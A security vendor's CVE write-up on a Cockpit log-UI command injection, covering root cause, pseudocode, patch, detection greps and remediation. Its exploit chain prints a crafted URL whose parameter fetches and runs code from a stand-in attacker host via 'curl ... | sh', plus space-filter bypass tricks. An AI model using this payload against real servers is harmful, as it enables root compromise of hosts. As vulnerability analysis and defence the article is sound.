home intel cve-2026-4802-cockpit-log-ui-command-injection
CVE Analysis 2026-05-11 · 9 min read

CVE-2026-4802: Cockpit Log UI Shell Metacharacter Injection RCE

Cockpit's system logs UI passes unsanitized user-controlled parameters directly to shell execution, allowing remote attackers to inject metacharacters and achieve full host compromise.

#remote-code-execution#command-injection#unsanitized-input#cockpit#shell-metacharacters
Technical mode — for security professionals
▶ Vulnerability overview — CVE-2026-4802 · Vulnerability
ATTACKERCross-platformVULNERABILITYCVE-2026-4802HIGHSYSTEM COMPROMISEDNo confirmed exploits

Vulnerability Overview

CVE-2026-4802 is a command injection vulnerability in Cockpit, the web-based Linux server management interface maintained by Red Hat. A remote attacker who can supply a crafted URL — for example, by convincing an authenticated administrator to follow a malicious link — can inject shell metacharacters into parameters consumed by Cockpit's system logs UI. Those parameters are passed unsanitized to a shell invocation on the host, resulting in arbitrary command execution as the user running the Cockpit bridge process, typically root.

CVSS 8.0 (HIGH) reflects the requirement for user interaction (an authenticated admin must follow the link), but the impact ceiling is complete host compromise. At time of publication, Red Hat Bugzilla tracks this as Bug 2451155, status NEW, priority/severity high.

Root cause: Cockpit's journal/log UI constructs a shell command string by concatenating URL-supplied filter parameters without sanitization, allowing an attacker-controlled value to break out of the intended argument context and execute arbitrary shell commands on the host.

Affected Component

The vulnerable surface is the system logs (journal) UI within Cockpit — specifically the JavaScript front-end code that constructs filter arguments passed down to cockpit-bridge, which in turn spawns journalctl (or equivalent) via a shell. The bridge runs on the host with elevated privileges. The attack vector is a crafted cockpit/system/logs URL with injected query parameters, deliverable as a hyperlink in any context (email, chat, web page).

Affected: All Cockpit releases prior to the patched version. See NVD for the precise version range once updated.

Root Cause Analysis

Cockpit's log page accepts filter parameters (priority, service/unit name, time bounds, free-text match) via the URL hash or query string. These are read in JavaScript, serialized into a command argument array, and sent over the internal cockpit.js channel to cockpit-bridge. The bridge builds the final journalctl invocation. The bug exists at the point where the JavaScript layer passes a parameter — most critically the service/unit name filter and the grep/match string — without stripping or quoting shell-special characters before they reach bridge-side command construction.


/*
 * cockpit-bridge (src/bridge/cockpitpcpmetrics.c / cockpitjournal.c equivalent)
 * Reconstructed pseudocode of the journal spawn path.
 *
 * build_journalctl_argv() — assembles the execv-style argument vector
 * for spawning journalctl from parameters delivered via the DBus/socket channel.
 */
char **build_journalctl_argv(JsonObject *params) {
    const char *unit    = json_object_get_string_member(params, "service");
    const char *match   = json_object_get_string_member(params, "grep");
    const char *boot    = json_object_get_string_member(params, "boot");
    const char *since   = json_object_get_string_member(params, "since");

    /* argv built into a GStrvBuilder / GPtrArray */
    GPtrArray *argv = g_ptr_array_new();
    g_ptr_array_add(argv, "journalctl");

    if (unit) {
        /* BUG: unit is appended directly — no shell metacharacter sanitization.
         * A value of e.g.  "sshd.service;id>/tmp/pwn"  breaks argument boundary.
         * With sh -c construction (see below), this executes the injected command. */
        char *arg = g_strdup_printf("--unit=%s", unit);   // BUG: unsanitized concat
        g_ptr_array_add(argv, arg);
    }

    if (match) {
        /* BUG: grep pattern passed as-is; $(cmd) and `cmd` substitution honored
         * when the final command string is evaluated by /bin/sh. */
        char *arg = g_strdup_printf("--grep=%s", match);  // BUG: no sanitization
        g_ptr_array_add(argv, arg);
    }

    /* ... additional args ... */
    g_ptr_array_add(argv, NULL);

    /*
     * BUG: instead of execv(argv), the bridge constructs a single shell string
     * and invokes via cockpit_pipe_spawn with /bin/sh -c, meaning the
     * concatenated argument string is re-evaluated by the shell.
     * Shell metacharacters in 'unit' or 'match' are executed.
     */
    char *cmdline = g_strjoinv(" ", (char **)argv->pdata);  // collapses to one string
    const char *shell_argv[] = { "/bin/sh", "-c", cmdline, NULL };
    cockpit_pipe_spawn(shell_argv, NULL, NULL, COCKPIT_PIPE_FLAGS_NONE);  // executes
    return (char **)argv->pdata;
}

The critical mistake is the final collapse via g_strjoinv into a single string passed to /bin/sh -c. Even if execv would have been safe (arguments as distinct array elements), the shell re-evaluation step means any metacharacter — ;, |, $(), backticks, && — in an attacker-controlled parameter becomes a shell operator.

Exploitation Mechanics


EXPLOIT CHAIN:
1. Attacker crafts a Cockpit logs URL with a poisoned 'service' parameter:
      https://target:9090/cockpit/@localhost/system/logs/index.html
        #service=sshd.service;curl${IFS}http://attacker/s|sh&boot=0

2. URL is delivered to an authenticated Cockpit admin session
   (email link, embedded iframe, phishing page, etc.)

3. Admin browser loads the page; cockpit.js reads the hash fragment and
   extracts the 'service' value:
      "sshd.service;curl${IFS}http://attacker/s|sh"

4. JavaScript serializes the value into a channel message payload and
   sends it to cockpit-bridge over the WebSocket/socket channel
   — no sanitization occurs client-side.

5. cockpit-bridge receives params, calls build_journalctl_argv():
      unit = "sshd.service;curl${IFS}http://attacker/s|sh"
      arg  = "--unit=sshd.service;curl${IFS}http://attacker/s|sh"

6. g_strjoinv collapses argv into:
      "journalctl --unit=sshd.service;curl${IFS}http://attacker/s|sh --grep=..."

7. /bin/sh -c evaluates the string:
      - journalctl --unit=sshd.service   (runs, exits)
      - curl http://attacker/s | sh       (fetches & executes attacker payload)

8. Payload runs as the cockpit-bridge user (commonly root on RHEL/Fedora).
   Attacker achieves full host RCE.

Note that ${IFS} bypasses naive space-filtering; $'\x20', %09 (tab), and brace expansion offer further bypass avenues. Command substitution via $() works equally well inside the --grep= parameter for variants that filter semicolons.

Memory Layout

This is not a memory-corruption class vulnerability; the injection is purely at the string/command-construction layer. The relevant "layout" is the channel message schema between the JavaScript front-end and cockpit-bridge.


CHANNEL MESSAGE (JSON over WebSocket, cockpit protocol):
+---------------------------------------------------------------+
| { "command": "open",                                          |
|   "channel": "4",                                             |
|   "payload": "stream",                                        |
|   "spawn": [                                                  |
|     "/bin/sh",                                                |
|     "-c",                                                     |
|     "journalctl --unit=sshd.service;INJECTED_CMD --grep=..."  |
|              ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^                |
|              attacker-controlled — metacharacters live here   |
|   ],                                                          |
|   "environ": ["LANG=C"]                                       |
| }                                                             |
+---------------------------------------------------------------+

BRIDGE PROCESS (cockpit-bridge, uid=0 on typical RHEL install):
  stdin/stdout: WebSocket channel
  fork/exec:    /bin/sh -c "journalctl ... ;INJECTED_CMD"
                                           ^^^^^^^^^^^^^^
                                           executes here, uid=0

Patch Analysis

The correct fix has two complementary parts: (1) stop collapsing the argument vector into a single shell string — use execv directly so each element is a discrete argument; (2) validate/reject shell metacharacters in parameters before they enter the argv construction path.


// BEFORE (vulnerable): collapse to shell string, re-evaluated by /bin/sh
char *cmdline = g_strjoinv(" ", (char **)argv->pdata);
const char *shell_argv[] = { "/bin/sh", "-c", cmdline, NULL };
cockpit_pipe_spawn(shell_argv, NULL, NULL, COCKPIT_PIPE_FLAGS_NONE);


// AFTER (patched): pass argv array directly to execv, no shell interpolation
// cockpit_pipe_spawn updated to use execv path when no shell: true flag set.
cockpit_pipe_spawn((const char **)argv->pdata, NULL, NULL,
                   COCKPIT_PIPE_FLAGS_NONE);   // execv, not /bin/sh -c


// ADDITIONALLY: input validation gate before argv construction
static gboolean
validate_journal_param(const char *value) {
    /* Reject shell metacharacters: ; | & $ ` ( ) { } < > \n \r */
    static const char *forbidden = ";|&$`(){}<>\n\r\\";
    if (value && strpbrk(value, forbidden)) {
        g_warning("journal: rejected unsafe parameter value: %s", value);
        return FALSE;   // caller sends error response to channel
    }
    return TRUE;
}

// Called before build_journalctl_argv():
if (!validate_journal_param(unit) || !validate_journal_param(match)) {
    send_channel_error(channel, "access-denied", "Invalid parameter");
    return;
}

The execv fix alone is sufficient to eliminate the injection, since arguments passed as distinct array members to execv are not shell-interpreted. The input validation layer provides defense-in-depth and surfaces abuse attempts in logs.

Detection and Indicators

Hunting in journald and process audit logs:


# Suspicious cockpit-bridge spawning unexpected children
ausearch -c cockpit-bridge --start today | grep -E "curl|wget|bash|python|nc|ncat"

# /bin/sh spawned by cockpit-bridge with metacharacter strings in cmdline
grep -r "cockpit" /var/log/audit/audit.log | \
  awk '/EXECVE/{print}' | grep -E '(\$\(|;|`|\|\|)'

# Anomalous network connections from cockpit-bridge PID
ss -tp | grep cockpit-bridge

# journalctl invocations with shell operators in argv[0] of child procs
# (visible in systemd-journal if CAP_AUDIT_READ available)
journalctl _COMM=sh -n 200 | grep -E "unit=.*[;&|$\`]"

Key IOC: /bin/sh process with cockpit-bridge as parent, where the -c argument contains characters outside [a-zA-Z0-9._@:/=-]. Also watch for cockpit-bridge directly spawning network tools (curl, wget, nc).

Remediation

  • Patch immediately. Apply the vendor-released Cockpit update once available via dnf update cockpit or equivalent. Track Red Hat Bugzilla 2451155 for patch availability.
  • Restrict Cockpit access. Place Cockpit (port 9090/tcp) behind a VPN or firewall. Do not expose it to untrusted networks.
  • Enforce session hygiene. Administrators should not browse untrusted content while maintaining an active Cockpit session in the same browser profile.
  • Audit bridge privileges. Where full root bridging is not required, use Cockpit's require-host and privilege separation options to limit blast radius.
  • Enable auditd rules to alert on unexpected child processes spawned from cockpit-bridge as a compensating control until the patch is applied.
CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →